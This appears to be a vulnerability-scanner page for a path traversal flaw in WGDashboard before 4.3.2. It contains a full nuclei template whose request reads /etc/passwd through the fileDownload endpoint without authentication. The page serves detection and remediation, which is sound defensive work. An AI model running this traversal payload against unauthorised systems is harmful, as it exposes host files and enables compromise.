WGDashboard < 4.3.2 - Unauthenticated File Read

criticalseverity

9.8CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.

Impact

Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.

Fix

Update to version 4.3.2 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(tolower(body), "wgdashboard", "wireguard")
Send: GET /fileDownload?file=../../../../etc/passwd
Positive when: status_code == 200 and contains(body, "root:x:0:0:")

Run it with nuclei: nuclei -id CVE-2026-44343 -u <target>

The full check

id: CVE-2026-44343

info:
  name: WGDashboard < 4.3.2 - Unauthenticated File Read
  author: str4k3r
  severity: critical
  description: |
    WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.
  impact: |
    Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.
  remediation: |
    Update to version 4.3.2 or later.
  reference:
    - https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm
    - https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44343
  classification:
    cve-id: CVE-2026-44343
    epss-score: 0.01824
    epss-percentile: 0.78971
    cwe-id: CWE-22
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  metadata:
    verified: true
    max-request: 2
    vendor: wgdashboard
    product: wgdashboard
    fofa-query: title="WGDashboard"
  tags: cve,cve2026,wgdashboard,lfi,path-traversal,file-read,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "wgdashboard", "wireguard")'
        condition: and
        internal: true

  - raw:
      - |
        GET /fileDownload?file=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:x:0:0:")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from